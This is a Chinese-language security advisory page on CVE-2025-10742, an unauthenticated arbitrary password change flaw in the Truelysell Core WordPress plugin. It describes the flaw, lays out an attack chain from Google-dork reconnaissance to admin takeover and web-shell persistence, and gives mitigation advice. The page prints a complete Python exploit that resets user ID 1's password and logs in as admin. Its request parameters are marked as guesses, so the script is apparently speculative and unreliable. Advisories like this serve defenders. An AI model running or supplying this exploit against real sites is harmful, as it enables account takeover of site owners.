IPBUF安全漏洞报告
English
CVE-2025-10742 CVSS 9.8 严重

CVE-2025-10742:WordPress Truelysell Core插件任意用户密码更改漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-10742
漏洞类型
访问控制绕过/任意密码更改
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Truelysell Core (WordPress插件)

相关标签

CVE-2025-10742WordPressTruelysell Core任意密码更改访问控制绕过未认证漏洞账户接管严重漏洞CVSS 9.8WordPress插件

漏洞概述

CVE-2025-10742是WordPress Truelysell Core插件中存在的一个严重安全漏洞,CVSS评分高达9.8,属于严重级别。该漏洞允许未经认证的远程攻击者通过任意用户密码更改功能接管管理员账户。

Truelysell Core是一款广泛使用的WordPress服务预订插件,为各类服务行业提供在线预订功能。该漏洞源于插件对用户控制的访问权限管理不当,允许用户绕过授权检查直接访问系统资源。具体来说,插件中的'truelysell_edit_staff'短代码(shortcode)存在访问控制缺陷,攻击者可以通过构造特定请求绕过身份验证机制,直接修改任意用户的密码。

该漏洞的影响极其严重,因为:1)攻击完全无需认证即可执行;2)攻击向量为网络远程攻击;3)成功利用后可完全接管管理员账户;4)一旦获取管理员权限,攻击者可以在目标WordPress网站上执行任意操作,包括上传恶意插件、修改网站内容、窃取用户数据等。唯一的前置条件是攻击者需要知道包含'truelysell_edit_staff'短代码的页面位置,但这一信息可以通过常规的网络爬虫或搜索引擎轻松获取。该漏洞由WordPress安全公司Wordfence的安全团队发现并报告。

技术细节

该漏洞的核心问题在于Truelysell Core插件未对'truelysell_edit_staff'短代码的访问进行充分的授权检查。短代码(Shortcode)是WordPress中一种常见的功能扩展机制,允许开发者将自定义功能嵌入到页面或文章中。

技术原理:
1. 插件在处理包含'truelysell_edit_staff'短代码的页面请求时,未正确验证当前用户的身份和权限等级。
2. 插件允许用户通过HTTP请求直接传递用户ID和新密码等参数,而未对这些操作进行严格的访问控制检查。
3. 攻击者可以构造包含恶意参数的HTTP请求,利用插件的用户对象访问接口,绕过正常的认证流程。

利用方式:
1. 攻击者首先通过搜索引擎或网站爬虫找到包含'truelysell_edit_staff'短代码的目标页面URL。
2. 向该页面发送精心构造的POST请求,包含目标用户ID(如管理员用户ID通常为1)和新密码参数。
3. 由于插件未验证请求者的身份和权限,请求被直接处理,目标用户的密码被修改为攻击者指定的值。
4. 攻击者使用新设置的密码登录目标账户,获得管理员权限。

该漏洞属于典型的对象访问控制失效(Broken Object Level Authorization, BOLA)类漏洞,是OWASP API安全十大威胁之一。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎(如Google Dork: site:target.com inurl:staff)或网站爬虫,定位目标WordPress网站上包含'truelysell_edit_staff'短代码的页面URL。
STEP 2
步骤2:构造恶意请求
攻击者构造包含目标用户ID(管理员通常为1)和新密码参数的HTTP POST请求,利用插件未授权检查的缺陷。
STEP 3
步骤3:发送未认证请求
向包含'truelysell_edit_staff'短代码的页面发送恶意POST请求,无需任何认证即可触发密码更改功能。
STEP 4
步骤4:密码被修改
由于插件未对请求进行充分的身份验证和权限检查,目标用户(通常是管理员)的密码被成功修改为攻击者指定的值。
STEP 5
步骤5:账户接管
攻击者使用新设置的密码登录目标管理员账户,获得WordPress网站的完全控制权限。
STEP 6
步骤6:权限提升与持久化
获得管理员权限后,攻击者可以上传Web Shell、安装恶意插件、修改网站内容、窃取用户数据,或创建新的管理员账户实现持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10742 PoC - Truelysell Core Arbitrary Password Change # Vulnerability: Unauthenticated Arbitrary User Password Change # Affected: Truelysell Core <= 1.8.6 import requests # Target configuration TARGET_URL = "http://target-wordpress-site.com" # The page containing 'truelysell_edit_staff' shortcode SHORTCODE_PAGE = "/page-with-truelysell-edit-staff/" def exploit_password_change(target_url, shortcode_page, user_id, new_password): """ Exploit the arbitrary password change vulnerability in Truelysell Core plugin. The plugin fails to verify user authorization when processing the 'truelysell_edit_staff' shortcode, allowing unauthenticated password changes. """ endpoint = target_url.rstrip('/') + shortcode_page # Construct the malicious payload # The plugin accepts user-controlled parameters without proper authorization checks payload = { 'truelysell_action': 'edit_staff', 'user_id': str(user_id), 'new_password': new_password, 'confirm_password': new_password, # Additional parameters that may be required by the plugin 'staff_nonce': '', # May be empty or bypassed } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: # Send the unauthenticated password change request response = requests.post( endpoint, data=payload, headers=headers, timeout=30, allow_redirects=False ) if response.status_code == 200: print(f"[+] Password change request sent successfully") print(f"[+] Target User ID: {user_id}") print(f"[+] New Password: {new_password}") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def login_as_admin(target_url, username, password): """Login with the newly set credentials to verify exploitation.""" login_url = target_url.rstrip('/') + '/wp-login.php' session = requests.Session() payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url + '/wp-admin/', 'testcookie': '1' } cookies = {'wordpress_test_cookie': 'WP+Cookie+check'} response = session.post(login_url, data=payload, cookies=cookies, allow_redirects=True) if 'wp-admin' in response.url or 'dashboard' in response.text.lower(): print(f"[+] Successfully logged in as {username}!") return True else: print(f"[-] Login failed") return False if __name__ == "__main__": # Step 1: Find page with 'truelysell_edit_staff' shortcode (via Google dork or crawling) # Example: site:target.com inurl:staff # Step 2: Change admin password (user ID 1 is typically the admin) target_user_id = 1 new_password = "PwnedByCVE-2025-10742!" print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Attempting to change password for user ID: {target_user_id}") if exploit_password_change(TARGET_URL, SHORTCODE_PAGE, target_user_id, new_password): # Step 3: Login with new credentials login_as_admin(TARGET_URL, "admin", new_password)

影响范围

Truelysell Core <= 1.8.6

防御指南

临时缓解措施
在官方补丁发布前的临时缓解措施包括:1)通过修改.htaccess文件或Nginx配置,限制包含'truelysell_edit_staff'短代码页面的访问IP范围;2)在WordPress后台移除或禁用'truelysell_edit_staff'短代码的使用;3)通过WAF规则阻止包含特定参数的POST请求(如监控包含'user_id'和'new_password'参数的异常请求);4)临时禁用Truelysell Core插件的密码更改功能;5)密切监控管理员账户的登录日志,发现异常立即重置密码;6)启用WordPress登录失败锁定机制,限制暴力破解尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表